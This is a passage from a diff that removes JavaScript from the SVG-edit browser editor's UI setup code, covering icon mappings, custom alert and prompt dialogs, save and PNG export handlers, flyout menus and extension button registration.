-					'#tool_node_clone':'node_clone',
-					'#layer_delete,#tool_delete,#tool_delete_multi':'delete',
-					'#tool_node_delete':'node_delete',
-					'#tool_add_subpath':'add_subpath',
-					'#tool_openclose_path':'open_path',
-					'#tool_move_top':'move_top',
-					'#tool_move_bottom':'move_bottom',
-					'#tool_topath':'to_path',
-					'#tool_node_link':'link_controls',
-					'#tool_reorient':'reorient',
-					'#tool_group':'group',
-					'#tool_ungroup':'ungroup',
-					'#tool_unlink_use':'unlink_use',
-					
-					'#tool_alignleft, #tool_posleft':'align_left',
-					'#tool_aligncenter, #tool_poscenter':'align_center',
-					'#tool_alignright, #tool_posright':'align_right',
-					'#tool_aligntop, #tool_postop':'align_top',
-					'#tool_alignmiddle, #tool_posmiddle':'align_middle',
-					'#tool_alignbottom, #tool_posbottom':'align_bottom',
-					'#cur_position':'align',
-					
-					'#linecap_butt,#cur_linecap':'linecap_butt',
-					'#linecap_round':'linecap_round',
-					'#linecap_square':'linecap_square',
-					
-					'#linejoin_miter,#cur_linejoin':'linejoin_miter',
-					'#linejoin_round':'linejoin_round',
-					'#linejoin_bevel':'linejoin_bevel',
-					
-					'#url_notice':'warning',
-					
-					'#layer_up':'go_up',
-					'#layer_down':'go_down',
-					'#layer_moreopts':'context_menu',
-					'#layerlist td.layervis':'eye',
-					
-					'#tool_source_save,#tool_docprops_save,#tool_prefs_save':'ok',
-					'#tool_source_cancel,#tool_docprops_cancel,#tool_prefs_cancel':'cancel',
-					
-					'#rwidthLabel, #iwidthLabel':'width',
-					'#rheightLabel, #iheightLabel':'height',
-					'#cornerRadiusLabel span':'c_radius',
-					'#angleLabel':'angle',
-					'#linkLabel,#tool_make_link,#tool_make_link_multi':'globe_link',
-					'#zoomLabel':'zoom',
-					'#tool_fill label': 'fill',
-					'#tool_stroke .icon_label': 'stroke',
-					'#group_opacityLabel': 'opacity',
-					'#blurLabel': 'blur',
-					'#font_sizeLabel': 'fontsize',
-					
-					'.flyout_arrow_horiz':'arrow_right',
-					'.dropdown button, #main_button .dropdown':'arrow_down',
-					'#palette .palette_item:first, #fill_bg, #stroke_bg':'no_color'
-				},
-				resize: {
-					'#logo .svg_icon': 32,
-					'.flyout_arrow_horiz .svg_icon': 5,
-					'.layer_button .svg_icon, #layerlist td.layervis .svg_icon': 14,
-					'.dropdown button .svg_icon': 7,
-					'#main_button .dropdown .svg_icon': 9,
-					'.palette_item:first .svg_icon, #fill_bg .svg_icon, #stroke_bg .svg_icon': 16,
-					'.toolbar_button button .svg_icon':16,
-					'.stroke_tool div div .svg_icon': 20,
-					'#tools_bottom label .svg_icon': 18
-				},
-				callback: function(icons) {
-					$('.toolbar_button button > svg, .toolbar_button button > img').each(function() {
-						$(this).parent().prepend(this);
-					});
-					
-					var tleft = $('#tools_left');
-					if (tleft.length != 0) {
-						var min_height = tleft.offset().top + tleft.outerHeight();
-					}
-// 					var size = $.pref('iconsize');
-// 					if(size && size != 'm') {
-// 						svgEditor.setIconSize(size);				
-// 					} else if($(window).height() < min_height) {
-// 						// Make smaller
-// 						svgEditor.setIconSize('s');
-// 					}
-					
-					// Look for any missing flyout icons from plugins
-					$('.tools_flyout').each(function() {
-						var shower = $('#' + this.id + '_show');
-						var sel = shower.attr('data-curopt');
-						// Check if there's an icon here
-						if(!shower.children('svg, img').length) {
-							var clone = $(sel).children().clone();
-							if(clone.length) {
-								clone[0].removeAttribute('style'); //Needed for Opera
-								shower.append(clone);
-							}
-						}
-					});
-					
-					svgEditor.runCallbacks();
-					
-					setTimeout(function() {
-						$('.flyout_arrow_horiz:empty').each(function() {
-							$(this).append($.getSvgIcon('arrow_right').width(5).height(5));
-						});
-					}, 1);
-				}
-			});
-
-			Editor.canvas = svgCanvas = new $.SvgCanvas(document.getElementById("svgcanvas"), curConfig);
-			
-			var palette = ["#000000", "#3f3f3f", "#7f7f7f", "#bfbfbf", "#ffffff",
-			           "#ff0000", "#ff7f00", "#ffff00", "#7fff00",
-			           "#00ff00", "#00ff7f", "#00ffff", "#007fff",
-			           "#0000ff", "#7f00ff", "#ff00ff", "#ff007f",
-			           "#7f0000", "#7f3f00", "#7f7f00", "#3f7f00",
-			           "#007f00", "#007f3f", "#007f7f", "#003f7f",
-			           "#00007f", "#3f007f", "#7f007f", "#7f003f",
-			           "#ffaaaa", "#ffd4aa", "#ffffaa", "#d4ffaa",
-			           "#aaffaa", "#aaffd4", "#aaffff", "#aad4ff",
-			           "#aaaaff", "#d4aaff", "#ffaaff", "#ffaad4"
-			           ],
-				isMac = (navigator.platform.indexOf("Mac") >= 0),
-				isWebkit = (navigator.userAgent.indexOf("AppleWebKit") >= 0),
-				modKey = (isMac ? "meta+" : "ctrl+"), // ⌘
-				path = svgCanvas.pathActions,
-				undoMgr = svgCanvas.undoMgr,
-				Utils = svgedit.utilities,
-				default_img_url = curConfig.imgPath + "logo.png",
-				workarea = $("#workarea"),
-				canv_menu = $("#cmenu_canvas"),
-				layer_menu = $("#cmenu_layers"),
-				show_save_warning = false, 
-				exportWindow = null, 
-				tool_scale = 1,
-				zoomInIcon = 'crosshair',
-				zoomOutIcon = 'crosshair',
-				ui_context = 'toolbars',
-				orig_source = '',
-				paintBox = {fill: null, stroke:null};
-
-			// This sets up alternative dialog boxes. They mostly work the same way as
-			// their UI counterparts, expect instead of returning the result, a callback
-			// needs to be included that returns the result as its first parameter.
-			// In the future we may want to add additional types of dialog boxes, since 
-			// they should be easy to handle this way.
-			(function() {
-				$('#dialog_container').draggable({cancel:'#dialog_content, #dialog_buttons *', containment: 'window'});
-				var box = $('#dialog_box'), btn_holder = $('#dialog_buttons');
-				
-				var dbox = function(type, msg, callback, defText) {
-					$('#dialog_content').html('<p>'+msg.replace(/\n/g,'</p><p>')+'</p>')
-						.toggleClass('prompt',(type=='prompt'));
-					btn_holder.empty();
-					
-					var ok = $('<input type="button" value="' + uiStrings.common.ok + '">').appendTo(btn_holder);
-				
-					if(type != 'alert') {
-						$('<input type="button" value="' + uiStrings.common.cancel + '">')
-							.appendTo(btn_holder)
-							.click(function() { box.hide();callback(false)});
-					}
-					
-					if(type == 'prompt') {
-						var input = $('<input type="text">').prependTo(btn_holder);
-						input.val(defText || '');
-						input.bind('keydown', 'return', function() {ok.click();});
-					}
-					
-					if(type == 'process') {
-						ok.hide();
-					}
-		
-					box.show();
-					
-					ok.click(function() { 
-						box.hide();
-						var resp = (type == 'prompt')?input.val():true;
-						if(callback) callback(resp);
-					}).focus();
-					
-					if(type == 'prompt') input.focus();
-				}
-				
-				$.alert = function(msg, cb) { dbox('alert', msg, cb);};
-				$.confirm = function(msg, cb) {	dbox('confirm', msg, cb);};
-				$.process_cancel = function(msg, cb) {	dbox('process', msg, cb);};
-				$.prompt = function(msg, txt, cb) { dbox('prompt', msg, cb, txt);};
-			}());
-			
-			var setSelectMode = function() {
-				var curr = $('.tool_button_current');
-				if(curr.length && curr[0].id !== 'tool_select') {
-					curr.removeClass('tool_button_current').addClass('tool_button');
-					$('#tool_select').addClass('tool_button_current').removeClass('tool_button');
-					$('#styleoverrides').text('#svgcanvas svg *{cursor:move;pointer-events:all} #svgcanvas svg{cursor:default}');
-				}
-				svgCanvas.setMode('select');
-				workarea.css('cursor','auto');
-			};
-			
-			var togglePathEditMode = function(editmode, elems) {
-				$('#path_node_panel').toggle(editmode);
-				$('#tools_bottom_2,#tools_bottom_3').toggle(!editmode);
-				if(editmode) {
-					// Change select icon
-					$('.tool_button_current').removeClass('tool_button_current').addClass('tool_button');
-					$('#tool_select').addClass('tool_button_current').removeClass('tool_button');
-					setIcon('#tool_select', 'select_node');
-					multiselected = false;
-					if(elems.length) {
-						selectedElement = elems[0];
-					}
-				} else {
-					setIcon('#tool_select', 'select');
-				}
-			}
-		
-			// used to make the flyouts stay on the screen longer the very first time
-			var flyoutspeed = 1250;
-			var textBeingEntered = false;
-			var selectedElement = null;
-			var multiselected = false;
-			var editingsource = false;
-			var docprops = false;
-			var preferences = false;
-			var cur_context = '';
-			var orig_title = $('title:first').text();
-			
-			var saveHandler = function(window,svg) {
-				show_save_warning = false;
-			
-				// by default, we add the XML prolog back, systems integrating SVG-edit (wikis, CMSs) 
-				// can just provide their own custom save handler and might not want the XML prolog
-				svg = '<?xml version="1.0"?>\n' + svg;
-				
-				// Opens the SVG in new window, with warning about Mozilla bug #308590 when applicable
-				
-				var ua = navigator.userAgent;
-
-				// Chrome 5 (and 6?) don't allow saving, show source instead ( http://code.google.com/p/chromium/issues/detail?id=46735 )
-				// IE9 doesn't allow standalone Data URLs ( https://connect.microsoft.com/IE/feedback/details/542600/data-uri-images-fail-when-loaded-by-themselves )
-				if((~ua.indexOf('Chrome') && $.browser.version >= 533) || ~ua.indexOf('MSIE')) {
-					showSourceEditor(0,true);
-					return;	
-				}
-				var win = window.open("data:image/svg+xml;base64," + Utils.encode64(svg));
-				
-				// Alert will only appear the first time saved OR the first time the bug is encountered
-				var done = $.pref('save_notice_done');
-				if(done !== "all") {
-		
-					var note = uiStrings.notification.saveFromBrowser.replace('%s', 'SVG');
-					
-					// Check if FF and has <defs/>
-					if(ua.indexOf('Gecko/') !== -1) {
-						if(svg.indexOf('<defs') !== -1) {
-							note += "\n\n" + uiStrings.notification.defsFailOnSave;
-							$.pref('save_notice_done', 'all');
-							done = "all";
-						} else {
-							$.pref('save_notice_done', 'part');
-						}
-					} else {
-						$.pref('save_notice_done', 'all'); 
-					}
-					
-					if(done !== 'part') {
-						win.alert(note);
-					}
-				}
-			};
-			
-			var exportHandler = function(window, data) {
-				var issues = data.issues;
-				
-				if(!$('#export_canvas').length) {
-					$('<canvas>', {id: 'export_canvas'}).hide().appendTo('body');
-				}
-				var c = $('#export_canvas')[0];
-				
-				c.width = svgCanvas.contentW;
-				c.height = svgCanvas.contentH;
-				canvg(c, data.svg, {renderCallback: function() {
-					var datauri = c.toDataURL('image/png');
-					exportWindow.location.href = datauri;
-					var done = $.pref('export_notice_done');
-					if(done !== "all") {
-						var note = uiStrings.notification.saveFromBrowser.replace('%s', 'PNG');
-						
-						// Check if there's issues
-						if(issues.length) {
-							var pre = "\n \u2022 ";
-							note += ("\n\n" + uiStrings.notification.noteTheseIssues + pre + issues.join(pre));
-						} 
-						
-						// Note that this will also prevent the notice even though new issues may appear later.
-						// May want to find a way to deal with that without annoying the user
-						$.pref('export_notice_done', 'all'); 
-						exportWindow.alert(note);
-					}
-				}});
-			};
-			
-			// called when we've selected a different element
-			var selectedChanged = function(window,elems) {
-				var mode = svgCanvas.getMode();
-				if(mode === "select") setSelectMode();
-				var is_node = (mode == "pathedit");
-				// if elems[1] is present, then we have more than one element
-				selectedElement = (elems.length == 1 || elems[1] == null ? elems[0] : null);
-				multiselected = (elems.length >= 2 && elems[1] != null);
-				if (selectedElement != null) {
-					// unless we're already in always set the mode of the editor to select because
-					// upon creation of a text element the editor is switched into
-					// select mode and this event fires - we need our UI to be in sync
-
-					if (!is_node) {
-						updateToolbar();
-					} 
-					
-				} // if (elem != null)
-		
-				// Deal with pathedit mode
-				togglePathEditMode(is_node, elems);
-				updateContextPanel();
-				svgCanvas.runExtensions("selectedChanged", {
-					elems: elems,
-					selectedElement: selectedElement,
-					multiselected: multiselected
-				});
-			};
-		
-			// Call when part of element is in process of changing, generally
-			// on mousemove actions like rotate, move, etc.
-			var elementTransition = function(window,elems) {
-				var mode = svgCanvas.getMode();
-				var elem = elems[0];
-				
-				if(!elem) return;
-				
-				multiselected = (elems.length >= 2 && elems[1] != null);
-				// Only updating fields for single elements for now
-				if(!multiselected) {
-					switch ( mode ) {
-						case "rotate":
-							var ang = svgCanvas.getRotationAngle(elem);
-							$('#angle').val(ang);
-							$('#tool_reorient').toggleClass('disabled', ang == 0);
-							break;
-						
-						// TODO: Update values that change on move/resize, etc
-// 						case "select":
-// 						case "resize":
-// 							break;
-					}
-				}
-				svgCanvas.runExtensions("elementTransition", {
-					elems: elems
-				});
-			};
-		
-			// called when any element has changed
-			var elementChanged = function(window,elems) {
-				var mode = svgCanvas.getMode();
-				if(mode === "select") {
-					setSelectMode();
-				}
-				
-				for (var i = 0; i < elems.length; ++i) {
-					var elem = elems[i];
-					
-					// if the element changed was the svg, then it could be a resolution change
-					if (elem && elem.tagName === "svg") {
-						populateLayers();
-						updateCanvas();
-					} 
-					// Update selectedElement if element is no longer part of the image.
-					// This occurs for the text elements in Firefox
-					else if(elem && selectedElement && selectedElement.parentNode == null) {
-// 						|| elem && elem.tagName == "path" && !multiselected) { // This was added in r1430, but not sure why
-						selectedElement = elem;
-					}
-				}
-				
-				show_save_warning = true;
-		
-				// we update the contextual panel with potentially new
-				// positional/sizing information (we DON'T want to update the
-				// toolbar here as that creates an infinite loop)
-				// also this updates the history buttons
-		
-				// we tell it to skip focusing the text control if the
-				// text element was previously in focus
-				updateContextPanel();
-				
-				// In the event a gradient was flipped:
-				if(selectedElement && mode === "select") {
-					paintBox.fill.update();
-					paintBox.stroke.update();
-				}
-				
-				svgCanvas.runExtensions("elementChanged", {
-					elems: elems
-				});
-			};
-			
-			var zoomChanged = function(window, bbox, autoCenter) {
-				var scrbar = 15,
-					res = svgCanvas.getResolution(),
-					w_area = workarea,
-					canvas_pos = $('#svgcanvas').position();
-				var z_info = svgCanvas.setBBoxZoom(bbox, w_area.width()-scrbar, w_area.height()-scrbar);
-				if(!z_info) return;
-				var zoomlevel = z_info.zoom,
-					bb = z_info.bbox;
-				
-				if(zoomlevel < .001) {
-					changeZoom({value: .1});
-					return;
-				}
-					
-// 				$('#zoom').val(Math.round(zoomlevel*100));
-				$('#zoom').val(zoomlevel*100);
-				
-				if(autoCenter) {
-					updateCanvas();
-				} else {
-					updateCanvas(false, {x: bb.x * zoomlevel + (bb.width * zoomlevel)/2, y: bb.y * zoomlevel + (bb.height * zoomlevel)/2});
-				}
-		
-				if(svgCanvas.getMode() == 'zoom' && bb.width) {
-					// Go to select if a zoom box was drawn
-					setSelectMode();
-				}
-				
-				zoomDone();
-			}
-			
-			$('#cur_context_panel').delegate('a', 'click', function() {
-				var link = $(this);
-				if(link.attr('data-root')) {
-					svgCanvas.leaveContext();
-				} else {
-					svgCanvas.setContext(link.text());
-				}
-				return false;
-			});
-			
-			var contextChanged = function(win, context) {
-				$('#workarea,#sidepanels').css('top', context?100:75);
-				$('#rulers').toggleClass('moved', context);
-				if(cur_context && !context) {
-					// Back to normal
-					workarea[0].scrollTop -= 25;
-				} else if(!cur_context && context) {
-					workarea[0].scrollTop += 25;
-				}
-				
-				var link_str = '';
-				if(context) {
-					var str = '';
-					link_str = '<a href="#" data-root="y">' + svgCanvas.getCurrentDrawing().getCurrentLayerName() + '</a>';
-					
-					$(context).parentsUntil('#svgcontent > g').andSelf().each(function() {
-						if(this.id) {
-							str += ' > ' + this.id;
-							if(this !== context) {
-								link_str += ' > <a href="#">' + this.id + '</a>';
-							} else {
-								link_str += ' > ' + this.id;
-							}
-						}
-					});
-
-					cur_context = str;
-				} else {
-					cur_context = null;
-				}
-				$('#cur_context_panel').toggle(!!context).html(link_str);
-
-				
-				updateTitle();
-			}
-			
-			// Makes sure the current selected paint is available to work with
-			var prepPaints = function() {
-				paintBox.fill.prep();
-				paintBox.stroke.prep();
-			}
-			
-			var flyout_funcs = {};
-			
-			var setupFlyouts = function(holders) {
-				$.each(holders, function(hold_sel, btn_opts) {
-					var buttons = $(hold_sel).children();
-					var show_sel = hold_sel + '_show';
-					var shower = $(show_sel);
-					var def = false;
-					buttons.addClass('tool_button')
-						.unbind('click mousedown mouseup') // may not be necessary
-						.each(function(i) {
-							// Get this buttons options
-							var opts = btn_opts[i];
-							
-							// Remember the function that goes with this ID
-							flyout_funcs[opts.sel] = opts.fn;
-		
-							if(opts.isDefault) def = i;
-							
-							// Clicking the icon in flyout should set this set's icon
-							
-							var func = function() {
-								if($(this).hasClass('disabled')) return false;
-								if (toolButtonClick(show_sel)) {
-									opts.fn();
-								}
-								if(opts.icon) {
-									var icon = $.getSvgIcon(opts.icon, true);
-								} else {
-									// 
-									var icon = $(opts.sel).children().eq(0).clone();
-								}
-								
-								icon[0].setAttribute('width',shower.width());
-								icon[0].setAttribute('height',shower.height());
-								shower.children(':not(.flyout_arrow_horiz)').remove();
-								shower.append(icon).attr('data-curopt', opts.sel); // This sets the current mode
-							}
-							
-							$(this).mouseup(func);
-							
-							if(opts.key) {
-								$(document).bind('keydown', opts.key+'', func);
-							}
-						});
-					
-					if(def) {
-						shower.attr('data-curopt', btn_opts[def].sel);
-					} else if(!shower.attr('data-curopt')) {
-						// Set first as default
-						shower.attr('data-curopt', btn_opts[0].sel);
-					}
-					
-					var timer;
-					
-					var pos = $(show_sel).position();
-					$(hold_sel).css({'left': pos.left+34, 'top': pos.top+77});
-					
-					// Clicking the "show" icon should set the current mode
-					shower.mousedown(function(evt) {
-						if(shower.hasClass('disabled')) return false;
-						var holder = $(hold_sel);
-						var l = pos.left+34;
-						var w = holder.width()*-1;
-						var time = holder.data('shown_popop')?200:0;
-						timer = setTimeout(function() {
-							// Show corresponding menu
-							if(!shower.data('isLibrary')) {
-								holder.css('left', w).show().animate({
-									left: l
-								},150);
-							} else {
-								holder.css('left', l).show();
-							}
-							holder.data('shown_popop',true);
-						},time);
-						evt.preventDefault();
-					}).mouseup(function(evt) {
-						clearTimeout(timer);
-						var opt = $(this).attr('data-curopt');
-						// Is library and popped up, so do nothing
-						if(shower.data('isLibrary') && $(show_sel.replace('_show','')).is(':visible')) {
-							toolButtonClick(show_sel, true);
-							return;
-						}
-						if (toolButtonClick(show_sel) && (opt in flyout_funcs)) {
-							flyout_funcs[opt]();
-						}
-					});
-					
-					// 	$('#tools_rect').mouseleave(function(){$('#tools_rect').fadeOut();});
-				});
-				
-				setFlyoutTitles();
-			}
-			
-			var makeFlyoutHolder = function(id, child) {
-				var div = $('<div>',{
-					'class': 'tools_flyout',
-					id: id
-				}).appendTo('#svg_editor').append(child);
-				
-				return div;
-			}
-			
-			var setFlyoutPositions = function() {
-				$('.tools_flyout').each(function() {
-					var shower = $('#' + this.id + '_show');
-					var pos = shower.offset();
-					var w = shower.outerWidth();
-					$(this).css({left: (pos.left + w)*tool_scale, top: pos.top});
-				});
-			}
-			
-			var setFlyoutTitles = function() {
-				$('.tools_flyout').each(function() {
-					var shower = $('#' + this.id + '_show');
-					if(shower.data('isLibrary')) return;
-					
-					var tooltips = [];
-					$(this).children().each(function() {
-						tooltips.push(this.title);
-					});
-					shower[0].title = tooltips.join(' / ');
-				});
-			}
-
-			var resize_timer;			
-			
-			var extAdded = function(window, ext) {
-		
-				var cb_called = false;
-				var resize_done = false;
-				var cb_ready = true; // Set to false to delay callback (e.g. wait for $.svgIcons)
-				
-				function prepResize() {
-					if(resize_timer) {
-						clearTimeout(resize_timer);
-						resize_timer = null;
-					}
-					if(!resize_done) {
-						resize_timer = setTimeout(function() {
-							resize_done = true;
-							setIconSize(curPrefs.iconsize);
-						}, 50);	
-					}
-				}
-
-				
-				var runCallback = function() {
-					if(ext.callback && !cb_called && cb_ready) {
-						cb_called = true;
-						ext.callback();
-					}
-				}
-		
-				var btn_selects = [];
-		
-				if(ext.context_tools) {
-					$.each(ext.context_tools, function(i, tool) {
-						// Add select tool
-						var cont_id = tool.container_id?(' id="' + tool.container_id + '"'):"";
-						
-						var panel = $('#' + tool.panel);
-						
-						// create the panel if it doesn't exist
-						if(!panel.length)
-							panel = $('<div>', {id: tool.panel}).appendTo("#tools_top");
-						
-						// TODO: Allow support for other types, or adding to existing tool
-						switch (tool.type) {
-						case 'tool_button':
-							var html = '<div class="tool_button">' + tool.id + '</div>';
-							var div = $(html).appendTo(panel);
-							if (tool.events) {
-								$.each(tool.events, function(evt, func) {
-									$(div).bind(evt, func);
-								});
-							}
-							break;
-						case 'select':
-							var html = '<label' + cont_id + '>'
-								+ '<select id="' + tool.id + '">';
-							$.each(tool.options, function(val, text) {
-								var sel = (val == tool.defval) ? " selected":"";
-								html += '<option value="'+val+'"' + sel + '>' + text + '</option>';
-							});
-							html += "</select></label>";
-							// Creates the tool, hides & adds it, returns the select element
-							var sel = $(html).appendTo(panel).find('select');
-							
-							$.each(tool.events, function(evt, func) {
-								$(sel).bind(evt, func);
-							});
-							break;
-						case 'button-select': 
-							var html = '<div id="' + tool.id + '" class="dropdown toolset" title="' + tool.title + '">'
-								+ '<div id="cur_' + tool.id + '" class="icon_label"></div><button></button></div>';
-							
-							var list = $('<ul id="' + tool.id + '_opts"></ul>').appendTo('#option_lists');
-							
-							if(tool.colnum) {
-								list.addClass('optcols' + tool.colnum);
-							}
-							
-							// Creates the tool, hides & adds it, returns the select element
-							var dropdown = $(html).appendTo(panel).children();
-							
-							btn_selects.push({
-								elem: ('#' + tool.id),
-								list: ('#' + tool.id + '_opts'),
-								title: tool.title,
-								callback: tool.events.change,
-								cur: ('#cur_' + tool.id)
-							});
-
-							break;
-						case 'input':
-							var html = '<label' + cont_id + '>'
-								+ '<span id="' + tool.id + '_label">' 
-								+ tool.label + ':</span>'
-								+ '<input id="' + tool.id + '" title="' + tool.title
-								+ '" size="' + (tool.size || "4") + '" value="' + (tool.defval || "") + '" type="text"/></label>'
-								
-							// Creates the tool, hides & adds it, returns the select element
-							
-							// Add to given tool.panel
-							var inp = $(html).appendTo(panel).find('input');
-							
-							if(tool.spindata) {
-								inp.SpinButton(tool.spindata);
-							}
-							
-							if(tool.events) {
-								$.each(tool.events, function(evt, func) {
-									inp.bind(evt, func);
-								});
-							}
-							break;
-							
-						default:
-							break;
-						}
-					});
-				}
-				
-				if(ext.buttons) {
-					var fallback_obj = {},
-						placement_obj = {},
-						svgicons = ext.svgicons;
-					var holders = {};
-					
-				
-					// Add buttons given by extension
-					$.each(ext.buttons, function(i, btn) {
-						var icon;
-						var id = btn.id;
-						var num = i;
-						
-						// Give button a unique ID
-						while($('#'+id).length) {
-							id = btn.id + '_' + (++num);
-						}
-		
-						if(!svgicons) {
-							icon = $('<img src="' + btn.icon + '">');
-						} else {
-							fallback_obj[id] = btn.icon;
-							var svgicon = btn.svgicon?btn.svgicon:btn.id;
-							if(btn.type == 'app_menu') {
-								placement_obj['#' + id + ' > div'] = svgicon;
-							} else {
-								placement_obj['#' + id] = svgicon;
-							}
-						}
-						
-						var cls, parent;
-						
-						// Set button up according to its type
-						switch ( btn.type ) {
-						case 'mode_flyout':
-						case 'mode':
-							cls = 'tool_button';
-							parent = "#tools_left";
-							break;
-						case 'context':
-							cls = 'tool_button';
-							parent = "#" + btn.panel;
-							// create the panel if it doesn't exist
-							if(!$(parent).length)
-								$('<div>', {id: btn.panel}).appendTo("#tools_top");
-							break;
-						case 'app_menu':
-							cls = '';
-							parent = '#main_menu ul';
-							break;
-						}
-						
-						var button = $((btn.list || btn.type == 'app_menu')?'<li/>':'<div/>')
-							.attr("id", id)
-							.attr("title", btn.title)
-							.addClass(cls);
-						if(!btn.includeWith && !btn.list) {
-							if("position" in btn) {
-								$(parent).children().eq(btn.position).before(button);
-							} else {
-								button.appendTo(parent);
-							}
-
-							if(btn.type =='mode_flyout') {
-							// Add to flyout menu / make flyout menu
-	// 							var opts = btn.includeWith;
-	// 							// opts.button, default, position
-								var ref_btn = $(button);
-								
-								var flyout_holder = ref_btn.parent();
-								// Create a flyout menu if there isn't one already
-								if(!ref_btn.parent().hasClass('tools_flyout')) {
-									// Create flyout placeholder
-									var tls_id = ref_btn[0].id.replace('tool_','tools_')
-									var show_btn = ref_btn.clone()
-										.attr('id',tls_id + '_show')
-										.append($('<div>',{'class':'flyout_arrow_horiz'}));
-										
-									ref_btn.before(show_btn);
-								
-									// Create a flyout div
-									flyout_holder = makeFlyoutHolder(tls_id, ref_btn);
-									flyout_holder.data('isLibrary', true);
-									show_btn.data('isLibrary', true);
-								} 
-								
-								
-								
-	// 							var ref_data = Actions.getButtonData(opts.button);
-								
-								placement_obj['#' + tls_id + '_show'] = btn.id;
-								// TODO: Find way to set the current icon using the iconloader if this is not default
-								
-								// Include data for extension button as well as ref button
-								var cur_h = holders['#'+flyout_holder[0].id] = [{
-									sel: '#'+id,
-									fn: btn.events.click,
-									icon: btn.id,
-// 									key: btn.key,
-									isDefault: true
-								}, ref_data];
-	// 							
-	// 							// {sel:'#tool_rect', fn: clickRect, evt: 'mouseup', key: 4, parent: '#tools_rect', icon: 'rect'}
-	// 								
-	// 							var pos  = ("position" in opts)?opts.position:'last';
-	// 							var len = flyout_holder.children().length;
-	// 							
-	// 							// Add at given position or end
-	// 							if(!isNaN(pos) && pos >= 0 && pos < len) {
-	// 								flyout_holder.children().eq(pos).before(button);
-	// 							} else {
-	// 								flyout_holder.append(button);
-	// 								cur_h.reverse();
-	// 							}
-							} else if(btn.type == 'app_menu') {
-								button.append('<div>').append(btn.title);
-							}
-							
-						} else if(btn.list) {
-							// Add button to list
-							button.addClass('push_button');
-							$('#' + btn.list + '_opts').append(button);
- 							if(btn.isDefault) {
- 								$('#cur_' + btn.list).append(button.children().clone());
- 								var svgicon = btn.svgicon?btn.svgicon:btn.id;
-	 							placement_obj['#cur_' + btn.list] = svgicon;
- 							}
-						} else if(btn.includeWith) {
-							// Add to flyout menu / make flyout menu
-							var opts = btn.includeWith;
-							// opts.button, default, position
-							var ref_btn = $(opts.button);
-							
-							var flyout_holder = ref_btn.parent();
-							// Create a flyout menu if there isn't one already
-							if(!ref_btn.parent().hasClass('tools_flyout')) {
-								// Create flyout placeholder
-								var tls_id = ref_btn[0].id.replace('tool_','tools_')
-								var show_btn = ref_btn.clone()
-									.attr('id',tls_id + '_show')
-									.append($('<div>',{'class':'flyout_arrow_horiz'}));
-									
-								ref_btn.before(show_btn);
-							
-								// Create a flyout div
-								flyout_holder = makeFlyoutHolder(tls_id, ref_btn);
-							} 
-							
-							var ref_data = Actions.getButtonData(opts.button);
-							
-							if(opts.isDefault) {
-								placement_obj['#' + tls_id + '_show'] = btn.id;
-							} 
-							// TODO: Find way to set the current icon using the iconloader if this is not default
-							
-							// Include data for extension button as well as ref button
-							var cur_h = holders['#'+flyout_holder[0].id] = [{
-								sel: '#'+id,
-								fn: btn.events.click,
-								icon: btn.id,
-								key: btn.key,
-								isDefault: btn.includeWith?btn.includeWith.isDefault:0
-							}, ref_data];
-							
-							// {sel:'#tool_rect', fn: clickRect, evt: 'mouseup', key: 4, parent: '#tools_rect', icon: 'rect'}
-								
-							var pos  = ("position" in opts)?opts.position:'last';
-							var len = flyout_holder.children().length;
-							
-							// Add at given position or end
-							if(!isNaN(pos) && pos >= 0 && pos < len) {
-								flyout_holder.children().eq(pos).before(button);
-							} else {
-								flyout_holder.append(button);
-								cur_h.reverse();
-							}
-						} 
-						
-						if(!svgicons) {
-							button.append(icon);
-						}
-						
-						if(!btn.list) {
-							// Add given events to button
-							$.each(btn.events, function(name, func) {
-								if(name == "click") {
-									if(btn.type == 'mode') {
-										if(btn.includeWith) {
-											button.bind(name, func);
-										} else {
-											button.bind(name, function() {
-												if(toolButtonClick(button)) {
-													func();
-												}
-											});
-										}
-										if(btn.key) {
-											$(document).bind('keydown', btn.key, func);
-											if(btn.title) button.attr("title", btn.title + ' ['+btn.key+']');
-										}
-									} else {
-										button.bind(name, func);
-									}
-								} else {
-									button.bind(name, func);
-								}
-							});
-						}
-						
-						setupFlyouts(holders);
-					});
-					
-					$.each(btn_selects, function() {
-						addAltDropDown(this.elem, this.list, this.callback, {seticon: true}); 
-					});
-					
-					if (svgicons)
-						cb_ready = false; // Delay callback
-
-					$.svgIcons(svgicons, {
-						w:24, h:24,
-						id_match: false,
-						no_img: (!isWebkit),
-						fallback: fallback_obj,
-						placement: placement_obj,
-						callback: function(icons) {
-							// Non-ideal hack to make the icon match the current size
-							if(curPrefs.iconsize && curPrefs.iconsize != 'm') {
-								prepResize();
-							}
-							cb_ready = true; // Ready for callback
-							runCallback();
-						}
-				
-					});
-				}
-				
-				runCallback();
-			};
-			
-			var getPaint = function(color, opac, type) {
-				// update the editor's fill paint
-				var opts = null;
-				if (color.indexOf("url(#") === 0) {
-					var refElem = svgCanvas.getRefElem(color);
-					if(refElem) {
-						refElem = refElem.cloneNode(true);
-					} else {
-						refElem =  $("#" + type + "_color defs *")[0];
-					}
-					
-					opts = { alpha: opac };
-					opts[refElem.tagName] = refElem;
-				} 
-				else if (color.indexOf("#") === 0) {
-					opts = {
-						alpha: opac,
-						solidColor: color.substr(1)
-					};
-				}
-				else {
-					opts = {
-						alpha: opac,
-						solidColor: 'none'
-					};
-				}
-				return new $.jGraduate.Paint(opts);
-			};	
-			
-
-			// updates the toolbar (colors, opacity, etc) based on the selected element
-			// This function also updates the opacity and id elements that are in the context panel
-			var updateToolbar = function() {
-				if (selectedElement != null) {
-				
-					switch ( selectedElement.tagName ) {
-					case 'use':
-					case 'image':
-					case 'foreignObject':
-						break;
-					case 'g':
-					case 'a':
-						// Look for common styles
-						
-						var gWidth = null;
-						
-						var childs = selectedElement.getElementsByTagName('*');
-						for(var i = 0, len = childs.length; i < len; i++) {
-							var swidth = childs[i].getAttribute("stroke-width");
-							
-							if(i === 0) {
-								gWidth = swidth;
-							} else if(gWidth !== swidth) {
-								gWidth = null;
-							}
-						}
-						
-						$('#stroke_width').val(gWidth === null ? "" : gWidth);
-						
-						paintBox.fill.update(true);
-						paintBox.stroke.update(true);
-
-						
-						break;
-					default:
-						paintBox.fill.update(true);
-						paintBox.stroke.update(true);
-						
-						$('#stroke_width').val(selectedElement.getAttribute("stroke-width") || 1);
-						$('#stroke_style').val(selectedElement.getAttribute("stroke-dasharray")||"none");
-	
-						var attr = selectedElement.getAttribute("stroke-linejoin") || 'miter';
-						
-						if ($('#linejoin_' + attr).length != 0)
-							setStrokeOpt($('#linejoin_' + attr)[0]);
-						
-						attr = selectedElement.getAttribute("stroke-linecap") || 'butt';
-						
